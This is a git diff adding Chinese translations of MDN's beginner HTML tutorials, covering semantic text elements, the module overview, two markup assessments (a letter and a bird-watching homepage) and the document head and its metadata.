href="/zh-CN/docs/learn/Accessibility">可访问性</a>的思维模式是至关重要的。斜体的概念对人们使用屏幕阅读器是没有帮助的,对使用其他书写系统而不是拉丁文书写系统的人们也是没有帮助的。</p> + +<ul> + <li>{{HTMLElement('i')}} 被用来传达传统上用斜体表达的意义:外国文字,分类名称,技术术语,一种思想……</li> + <li>{{HTMLElement('b')}} 被用来传达传统上用粗体表达的意义:关键字,产品名称,引导句……</li> + <li>{{HTMLElement('u')}} 被用来传达传统上用下划线表达的意义:专有名词,拼写错误……</li> +</ul> + +<div class="note"> +<p>使用下划线的忠告:因为我们常常会认为网页中的下划线代表着一个超链接<strong>,</strong>所以最好只用下划线来代表超链接。而在语义适合的情况下不得不使用<u>元素时,可以使用CSS来改变<u>元素对应的下划线的默认样式,从而和超链接的下划线区分开来。下面是一个具体的例子:</p> +</div> + +<pre class="brush: html notranslate"><!-- 学名 --> +<p> + 红喉北蜂鸟(学名:<i>Archilocus colubris</i>) + 是北美东部最常见的蜂鸟品种。 +</p> + +<!-- 舶来词 --> +<p> + 菜单上有好多舶来词汇,比如 <i lang="uk-latn">vatrushka</i>(东欧乳酪面包), + <i lang="id">nasi goreng</i>(印尼炒饭)以及<i lang="fr">soupe à l'oignon</i>(法式洋葱汤)。 +</p> + +<!-- 已知的错误书写 --> +<p> + 总有一天我会改掉写<u style="text-decoration-line: underline; text-decoration-style: wavy;">措字</u>的毛病。 +</p> + +<!-- 在一组指令中突出显示关键字 --> +<ol> + <li> + <b>切</b>下两片面包, + </li> + <li> + 在两片面包中间<b>夹入</b>一片西红柿和一片生菜叶。 + </li> +</ol></pre> + +<h2 id="总结">总结</h2> + +<p>至此,本文应该给您做了一个很好的了解,如何开始在HTML中标记文本,并介绍了一些最重要的元素。在这一领域还有许多语义元素,<span id="result_box" lang="zh-CN"><span>我们将在后面的“更多语义元素”文章中看到更多的语义元素。</span> <span>在下一篇文章中,我们将详细介绍如何创建超链接(</span></span><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">create hyperlinks</a><span lang="zh-CN"><span>),它可能是Web上最重要的元素。</span></span></p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/introduction_to_html/index.html b/files/zh-cn/learn/html/introduction_to_html/index.html new file mode 100644 index 0000000000..4452927531 --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/index.html @@ -0,0 +1,67 @@ +--- +title: HTML 介绍 +slug: learn/HTML/Introduction_to_HTML +tags: + - HTML介绍 + - 文本 + - 结构 + - 链接 +translation_of: Learn/HTML/Introduction_to_HTML +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">就其核心而言, {{glossary("HTML")}} 是一种相当简单的、由不同<a href="https://developer.mozilla.org/zh-CN/docs/Glossary/元素" title="zh-CN/docs/Glossary/Element">元素</a>组成的标记语言,它可以应用于文本片段,使文本在文档中具有不同的含义(它是一个段落吗?它是一个项目列表吗?它是一个表格吗?),将文档结构化为逻辑块(文档是否有头部?有三列内容?有一个导航菜单?),并且可以将图片,影像等内容嵌入到页面中。本模块将介绍前两个,并且介绍一些理解HTML所需的基本概念和语法。</p> + +<h2 id="前提">前提</h2> + +<p>在开始这个模块之前,你不需要预先具有任何HTML的知识,但是你需要至少熟悉一些使用电脑的基础,会被动地使用网络(也就是仅需要看着它,浏览内容)。你应该为电脑配置一个基本的工作环境,这在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本软件</a>的页面中有详细说明,并且需要懂得如何创建和管理文件,这在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a>页面中有详细说明 —— 它们都是我们纯新手<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web">web开发入门</a>模块的一部分。</p> + +<div class="note"> +<p><strong>注意:</strong>如果你工作在一个无权创建自己文件的电脑/平板/其他设备上,你需要在一个在线编程工具上试验 (大多数)代码示例,如 <a href="http://jsbin.com/">JSBin</a> 或者 <a href="https://glitch.com/">Glitch</a>等。</p> +</div> + +<h2 id="指南">指南</h2> + +<p>这个模块包含以下文章,这些文章会帮你过一遍HTML所有的基本理论,并且提供足够的实践机会。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML入门</a></dt> + <dd>涵盖了HTML绝对基础的知识来帮助你入门——我们定义元素、属性和其他重要术语,以及它们属于语言的哪个部分。我们也会展示一个典型的HTML 页面是如何被结构化的,以及一个 HTML 元素是如何被结构化的 ,并且解释另一些基础但重要的语言特性。一路下来,我们会与一些 HTML一起玩耍,来激发你的兴趣!</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Head中有什么?HTML中的元数据</a></dt> + <dd>当页面被加载后HTML中的head部分<strong>是不会</strong>被显示在web浏览器中的。它包含了许多信息,例如网页的标题{{htmlelement("title")}},指向{{glossary("CSS")}}的链接(如果你想用CSS来设计HTML内容的样式),指向自定义网站图标的链接和一些元数据(关于HTML本身的数据,例如它的作者和描述这个文档的关键字)。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理基础 </a></dt> + <dd>HTML的主要工作之一就是给予文本意义(也被叫做<strong>语义</strong>),所以浏览器就知道如何正确的显示文本了。这篇文章关注于如何用HTML来将文本块分解为结构化的标题和段落、强调和加粗单词 、创建列表和其他。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></dt> + <dd>超链接真的很重要 - 它们是使Web成为一个Web。本文介绍了创建链接所需的语法,并讨论了链接的最佳实践。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文本排版</a></dt> + <dd>HTML中有许多其他元素可以用于格式化文本,我们没有在<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理基础</a>中提到它们。这些元素不太知名,但了解它们仍然有用。在这篇文章里,你将学习如何标记引文、描述列表、计算机代码和其他类似的文本、下标和上标、联系信息等。</dd> + <dt><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和网站结构</a></dt> + <dd>除了定义页面的各个部分(例如“段落”或“图像”)外,HTML也用于定义网站的区域(例如“标题”,“导航菜单”,“主内容列“)。本文探讨如何规划基本网站结构,以及如何编写HTML以表示此结构。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">调试 HTML</a></dt> + <dd>编写HTML是好的,但如果出现了什么问题,而且你没能找到代码中的错误在哪里的话,本文将向你介绍一些可以帮上忙的工具。</dd> +</dl> + +<h2 id="考核">考核</h2> + +<p>以下考核将测试你对上述指南中HTML基础知识的理解。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">制造一份信件</a></dt> + <dd>我们或早或晚都学会了如何写一封信,这也是一个不错的用来测试我们的文本格式化技能例子!所以在这个评估中,你会得到一封信来标记。</dd> + <dt><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content"> 结构化页面内容</a></dt> + <dd>此评估测试你能否使用HTML构建简单的内容页面,其中包含页眉、页脚、导航菜单、主要内容和侧边栏。</dd> +</dl> + +<h2 id="相关链接">相关链接</h2> + +<dl> + <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">网络文化基础 1</a></dt> + <dd>一个优秀的Mozilla基础课程,探索和测试在HTML模块介绍中讨论的许多技能。学习者熟悉阅读,写作和参与这个六部分模块的网络。通过生产和协作掌握网络的基础。</dd> + <dt></dt> +</dl> + +<div class="note"> +<h2 id="反馈">反馈</h2> + +<p><a href="https://www.surveygizmo.com/s3/4871248/MDN-Guides-Survey">点击这里进入我们的调查</a>来协助我们完善这份指南和教程.</p> +</div> diff --git a/files/zh-cn/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/zh-cn/learn/html/introduction_to_html/marking_up_a_letter/index.html new file mode 100644 index 0000000000..fc20a9c177 --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/marking_up_a_letter/index.html @@ -0,0 +1,103 @@ +--- +title: 标记信件 +slug: learn/HTML/Introduction_to_HTML/Marking_up_a_letter +tags: + - HTML + - 初学者 + - 文件头 + - 文本 + - 标记 + - 格式 + - 测验 + - 超链接 +translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">写信是每个人的必备技能,它也是测验文本格式化技能的一个不错的办法呀! 本次测验要求你为你一封写好的信做出标记,以测验你基础和高级的 HTML 文本格式化技能,包括超链接等等。此外将测验你对一些 HTML <code><head></code> 内容的熟悉程度。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>阅读并掌握以下文章的内容:<a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a> 、<a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a>、<a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a>、<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a> 和 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a>。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>测验对 HTML 文本格式和超链接基本和高级用法、HTML <code><head></code> 内容的理解程度。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p>开始测验之前,请先<a href="https://github.com/roy-tian/learning-area/tree/master/html/introduction-to-html/marking-up-a-letter-start">下载信件的起始文本和CSS代码</a>。然后用文本编辑器(用 <a class="external-icon external" href="http://jsbin.com/">JSBin</a> 或 <a class="external-icon external" href="https://thimble.mozilla.org/">himble</a> 等在线编辑工具亦可)创建一个新的 <code>.html</code> 文件来进行测验。</p> + +<h2 id="项目概要">项目概要</h2> + +<p>本项目中,你的任务为一封大学内网信件进行标记,这封信是研究人员对一名学生有关申请博士学位问题的回复。</p> + +<p>块/结构语义:</p> + +<ul> + <li>你应该使用适当的结构来构造整体文档,包括doctype、<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/html" title="HTML <html>元素表示HTML文档的根(顶层元素),因此也称为根元素。所有其他元素必须是此元素的后代。"><code><html></code></a> 、 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/head" title="HTML <head>元素提供有关文档的一般信息(元数据),包括其标题和其脚本和样式表的链接。"><code><head></code></a>和<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/body" title="HTML <body>元素表示HTML文档的内容。文档中只能有一个<body>元素。"><code><body></code></a>元素。</li> + <li>除下面提到的几点之外,这封信应该被标记成有着段落和标题的结构。 这封信有 1 个顶级标题(“回复:”那行)和 3 个二级标题。</li> + <li>使用适当类型的列表标记该学期的开学时间、学习科目和异域舞蹈。</li> + <li>两个地址应该放在<code><a href="/zh-CN/docs/Web/HTML/Element/address"><address></a></code>元素下. 每行的地址应该放在新的一行而不是新的段落.</li> +</ul> + +<p>内联语义:</p> + +<ul> + <li>应着重显示发信人和收信人的姓名(以及“电话”和“电子邮件”字样)。</li> + <li>用适当的元素把文档中的四个日期标记成机器可读的日期。</li> + <li>为信中第一个地址和第一个日期设置一个类属性“<code>sender-column</code>”,这样就能通过添加CSS 来使它们右对齐,以符合经典信件的布局。</li> + <li>信件正文中有 2 个首字母缩略词/缩写词,标记出它们的扩展形式。</li> + <li>正确标注 6 个下标/上标(位于化学方程式、科学计数法中)。</li> + <li>试着标记至少对两个单词进行着重(<code><strong></code>)/ 强调(<code><em></code>)显示。</li> + <li>有两个地方应加上超链接,要为它们添加适当的标题。链接指向 https://example.com/ 即可。</li> + <li>用适当的元素标记校训和引文。</li> +</ul> + +<p>文档的头部:</p> + +<ul> + <li>用适当的元标签把文档的字符集声明为 utf-8。</li> + <li>用适当的元标签说明信件的作者。</li> + <li>用适当的标签引入我们提供的 CSS 代码。</li> +</ul> + +<h2 id="提示和技巧">提示和技巧</h2> + +<ul> + <li>使用 <a class="external external-icon" href="https://validator.w3.org/">W3C HTML验证器</a> 来验证 HTML,验证通过有额外加分。</li> + <li>完成这个测验不需要任何 CSS 知识,只需把现成的 CSS 放到 HTML 元素里就好。</li> +</ul> + +<h2 id="范例">范例</h2> + +<p>以下截图展示了这封信标记完成后可能的外观(可 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/html/introduction-to-html/marking-up-a-letter-finished/">在线查看</a>)。</p> + +<p><img alt="排版信件截图" src="https://mdn.mozillademos.org/files/16534/letter.jpg" style="border: 1px solid black; display: block; margin: 0px auto;"></p> + +<h2 id="测验">测验</h2> + +<p>如果你是在课堂上进行这个测验,你可以把作品交给导师或教授去打分了。如果你是在自学,也可以在 <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">本节测验的讨论页</a> 或者 <a href="https://wiki.mozilla.org/IRC">Mozilla 聊天室 </a>的 <a href="irc://irc.mozilla.org/mdn">#mdn</a> 频道取得帮助。要自己先尝试,作弊是不会有收获的!</p> + +<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/zh-cn/learn/html/introduction_to_html/structuring_a_page_of_content/index.html new file mode 100644 index 0000000000..934ad01b3c --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/structuring_a_page_of_content/index.html @@ -0,0 +1,104 @@ +--- +title: 构建内容丰富的网页 +slug: learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content +tags: + - HTML + - 初学者 + - 布局 + - 结构 + - 设计 + - 评估 +translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">构建页面内容是一项重要技能,页面构建清晰才能顺利交付进行 CSS 布局。本测验将测试你是否能构思出页面的最终外观,以及是否会选用适当的结构语义。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>完成本章之前的全部课程,特别是 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a>。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>测验网页结构知识和用标记呈现预期布局设计的方法。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p>开始测验前,请先下载 <a class="external external-icon" href="https://raw.githubusercontent.com/roy-tian/learning-area/master/html/introduction-to-html/structuring-a-page-of-content-start/assets.zip">assets.zip</a>。其中包含:</p> + +<ul> + <li>需要补充结构标记的 HTML 文件。</li> + <li>给标记添加样式的 CSS 文件。</li> + <li>页面中使用的图片。</li> +</ul> + +<p>可在电脑上创建示例,也可以用 <a class="external external-icon" href="http://jsbin.com/">JSBin</a> 或 <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> 等网站来完成测验。</p> + +<h2 id="项目简介">项目简介</h2> + +<p>本项目的任务是为“观鸟网”的主页添加结构化的元素,使其可以进行布局设计。需要添加的有:</p> + +<ul> + <li>页眉(<code><header></code>),应充满页面宽度,并包含网站主标题、网站 logo 和导航栏菜单。样式生效后标题和 logo 应显示在在两边,导航栏在它们下方。</li> + <li>主内容区域(<code><main></code>),应有两栏,其中主区域显示欢迎信息,侧边栏包含一些缩略图。</li> + <li>页脚(<code><footer></code>),包含版权信息和鸣谢。</li> +</ul> + +<p>你应该为以下内容添加合适的标签:</p> + +<ul> + <li>页眉</li> + <li>导航菜单</li> + <li>主要内容</li> + <li>欢迎语</li> + <li>图片侧边栏</li> + <li>页脚</li> +</ul> + +<p>还应:</p> + +<ul> + <li>添加一个 {{htmlelement("link")}} 元素把现成的 CSS 文件引入页面。</li> +</ul> + +<h2 id="提示">提示</h2> + +<ul> + <li>可用 <a href="https://validator.w3.org/">W3C </a><a class="external external-icon" href="https://validator.w3.org/">HTML验证器</a> 来验证 HTML;验证通过有额外加分。(有两行包含 “googleapis” 的 <code><link></code> 元素用于从 Google Fonts 服务引入自定义字体到页面;它们不会被验证,所以不用担心。)</li> + <li>本测验不需要任何 CSS 知识;只需用 HTML 元素添加现成的 CSS 即可。</li> + <li>现成的 CSS 已经设计好布局,使用正确的结构元素,页面就会渲染成绿色。</li> + <li>如果你遇到困难不知道应该把添加元素到哪里,通常一个好的做法是:画一个简单的页面布局模块图,然后为每个块记录下恰当的元素。</li> +</ul> + +<h2 id="示例">示例</h2> + +<p>以下截图展示了添加标记后主页可能的外观:(可 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/html/introduction-to-html/structuring-a-page-of-content-finished/">在线查看</a>)</p> + +<p><img alt="测试示例。一个简单的“观鸟网”主页,由页眉、页脚、欢迎信息、收藏照片等部分组成。" src="https://mdn.mozillademos.org/files/16540/bird-watching.png" style="display: block; margin: 0px auto;"></p> + +<h2 id="测验">测验</h2> + +<p>如果你是在课堂上进行这个测验,你可以把作品交给导师或教授去打分了。如果你是在自学,也可以在 <a href="https://discourse.mozilla.org/t/structuring-a-page-of-content-assignment/24678">本节测验的讨论页</a> 或者 <a href="https://wiki.mozilla.org/IRC">Mozilla 聊天室 </a>的 <a href="irc://irc.mozilla.org/mdn">#mdn</a> 频道取得帮助。要自己先尝试,作弊是不会有收获的!</p> + +<p>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">“头”里有什么?HTML 元信息</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML 文字处理初步</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">高级文字格式</a></li> + <li><a href="/zh-CN/docs/learn/HTML/Introduction_to_HTML/文件和网站结构">文档和站点结构</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML 调试</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">课程测验:为信件排版</a></li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">课程测验:构建内容丰富的网页</a></li> +</ul> diff --git a/files/zh-cn/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/zh-cn/learn/html/introduction_to_html/the_head_metadata_in_html/index.html new file mode 100644 index 0000000000..e61085147b --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/the_head_metadata_in_html/index.html @@ -0,0 +1,287 @@ +--- +title: <head>标签里有什么? Metadata-HTML中的元数据 +slug: learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML +tags: + - HTML + - metadata + - 元数据 + - 教程 +translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">在页面加载完成的时候,标签{{glossary("Head", "head")}}里的内容,是不会在页面中显示出来的。它包含了像页面的{{htmlelement("title")}}(标题) ,{{glossary("CSS")}}(如果你选择用 CSS 来为 HTML 内容添加样式),指向自定义图标的链接和其他的元数据(描述HTML的数据,比如,作者,和描述文档的重要关键词)。本文将涵盖上述内容并拓展,为您对标记的使用打下一个良好的基础。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>初步了解 HTML(参见 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started">开始学习 HTML</a>)。</td> + </tr> + <tr> + <th scope="row">学习目标:</th> + <td>学习 HTML <head> 标签的概念、用途、基本组成,以及它对 HTML 文档所起的作用。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是_HTML_头部元素">什么是 HTML 头部元素?</h2> + +<p>让我们简单回顾一下 <a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Getting_started#%E5%89%96%E6%9E%90HTML%E6%96%87%E6%A1%A3">上一章节的 HTML 文档</a>:</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>我的测试站点</title> + </head> + <body> + <p>这是我的页面</p> + </body> +</html></pre> + +<p>HTML {{htmlelement("head")}} 元素与 {{htmlelement("body")}} 元素不同,它的内容不会在浏览器中显示,它的作用是保存页面的一些 {{glossary("Metadata", "元数据")}}。上述示例 head 元素非常简短:</p> + +<pre class="brush: html notranslate"><head> + <meta charset="utf-8"> + <title>我的测试站点</title> +</head></pre> + +<p>然而大型页面的 head 会包含很多元数据。可以用 <a href="/zh-CN/docs/Learn/Discover_browser_developer_tools">开发者工具</a> 查看网页的 head 信息。本节并不打算面面俱到地讲述 head ,只是初步介绍几项 head 中重要的常用元素,让我们开始吧。</p> + +<h2 id="添加标题">添加标题</h2> + +<p>之前已经讲过 {{htmlelement("title")}},它可以为文档添加标题。别和 {{htmlelement("h1")}} 元素搞混了,{{htmlelement("h1")}} 是为 body 添加标题的。有时候 {{htmlelement("h1")}} 也叫作网页标题。但是二者并不相同。</p> + +<ul> + <li>{{htmlelement("h1")}} 元素在页面加载完毕时显示在页面中,通常只出现一次,用来标记页面内容的标题(故事名称、新闻摘要,等等)。</li> + <li>{{htmlelement("title")}} 元素是一项元数据,用于表示整个 HTML 文档的标题(而不是文档内容)。</li> +</ul> + +<h3 id="主动学习:一个简单的示例">主动学习:一个简单的示例</h3> + +<ol> + <li>为了开始这个交互式学习,我们希望你到我们的 Github 库中下载一份我们的 <a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html 网页</a>。要做到这一点,你可以选择下面两种操作之一 + + <ol> + <li>使用你的代码编辑器,从页面中拷贝粘贴代码到一个新的文本文件中,然后将其保存到一个适当的地方。</li> + <li>按下页面中的 "Raw" 按钮, 从浏览器的菜单中选择 文件<em>> 另存网页为...</em> , 然后选择一个地方来保存这个文件。</li> + </ol> + </li> + <li>在浏览器中打开文件,你会看到类似这样效果: + <p><img alt="A simple web page with the title set to <title> element, and the <h1> set to <h1> element." src="https://mdn.mozillademos.org/files/17388/%E6%A0%87%E9%A2%98%E7%A4%BA%E4%BE%8B.png" style="display: block; height: 393px; margin: 0px auto; width: 650px;">现在很明显的可以看到 <code><h1></code> 出现的地方,和 <code><title></code> 出现的地方!</p> + </li> + <li>你应该尝试着在你的代码编辑器中打开这些代码,编辑这些元素的内容,然后在你的浏览器中刷新页面。祝你玩得开心。</li> +</ol> + +<p>元素 <code><title></code> 也被以其他的方式使用着。 比如说,如果你尝试为某个页面添加书签,(在火狐浏览器中点击地址栏末尾的星标),你会看到 <code><title></code> 的内容被作为建议的书签名。</p> + +<p><img alt="Firefox 中将网页添加为书签。书签名根据 <title> 元素自动生成。" src="https://mdn.mozillademos.org/files/17389/%E4%B9%A6%E7%AD%BE%E7%A4%BA%E4%BE%8B.png" style="display: block; height: 497px; margin: 0px auto; width: 650px;"></p> + +<p>元素 <code><title></code> 的内容也被用在搜索的结果中,正如你即将在下面看到的。</p> + +<h2 id="元数据:<meta>元素">元数据:<meta>元素</h2> + +<p>元数据就是描述数据的数据,而HTML有一个“官方的”方式来为一个文档添加元数据—— {{htmlelement("meta")}} 元素。当然,其他在这篇文章中提到的东西也可以被当作元数据。有很多不同种类的 <code><meta></code> 元素可以被包含进你的页面的<head>元素,但是现在我们还不会尝试去解释所有类型,这只会引起混乱。我们会解释一些你常会看到的类型,先让你有个概念。</p> + +<h3 id="指定你的文档中字符的编码">指定你的文档中字符的编码</h3> + +<p>在上面的例子中,这行是被包含的:</p> + +<pre class="brush: html notranslate"><meta charset="utf-8"></pre> + +<p>这个元素简单的指定了文档的字符编码 —— 在这个文档中被允许使用的字符集。 <code>utf-8</code> 是一个通用的字符集,它包含了任何人类语言中的大部分的字符。 意味着该 web 页面可以显示任意的语言;所以对于你的每一个页面都使用这个设置会是一个好主意!比如说,你的页面可以很好的处理中文和藏文:</p> + +<p><img alt="同时包含中文和藏文的网页。将页面编码设置为utf8后,两种语言均可正常显示。" src="https://mdn.mozillademos.org/files/17390/%E7%BC%96%E7%A0%81%E6%AD%A3%E7%A1%AE.png" style="display: block; height: 329px; margin: 0px auto; width: 650px;">比如说,如果你将你的字符集设置为 <code>GBK</code> (中国大陆国标字符集),那么页面将出现乱码:</p> + +<p><img alt="同时包含中文和藏文的网页。将页面编码设置为gbk后,藏语无法正常显示。" src="https://mdn.mozillademos.org/files/17391/%E7%BC%96%E7%A0%81%E9%94%99%E8%AF%AF.png" style="display: block; height: 318px; margin: 0px auto; width: 650px;"></p> + +<div class="note"> +<p><strong>注</strong>: 一些浏览器(比如Chrome)会自动修正错误的编码,所以取决于你所使用的浏览器,你或许不会看到这个问题。无论如何,你仍然应该为你的页面手动设置编码为<code>utf-8</code>,来避免在其他浏览器中可能出现的潜在问题。</p> +</div> + +<h3 id="交互式学习:_体验字符集">交互式学习: 体验字符集</h3> + +<p>为了进行这个练习,回到你在前面<title>章节中获取的HTML模板 (<a href="https://github.com/roy-tian/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html 网页</a>),试着改变其字符集的值为<code>GBK</code>,然后将藏语添加到页面中。这就是我们使用的代码:</p> + +<pre class="brush: html notranslate"><p>藏语示例:བཀྲ་ཤིས་བདེ་ལེགས།</p></pre> + +<h3 id="添加作者和描述">添加作者和描述</h3> + +<p>许多<code><meta></code> 元素包含了<code>name</code> 和 <code>content</code> 特性:</p> + +<ul> + <li><code>name</code> 指定了meta 元素的类型; 说明该元素包含了什么类型的信息。</li> + <li><code>content</code> 指定了实际的元数据内容。</li> +</ul> + +<p>这两个meta 元素对于定义你的页面的作者和提供页面的简要描述是很有用的 。让我们看一个例子:</p> + +<pre class="brush: html notranslate"><meta name="author" content="Chris Mills"> +<meta name="description" content="The MDN Learning Area aims to provide +complete beginners to the Web with all they need to know to get +started with developing web sites and applications."></pre> + +<p>指定作者在某些情况下是很有用的:如果你需要联系页面的作者,问一些关于页面内容的问题。 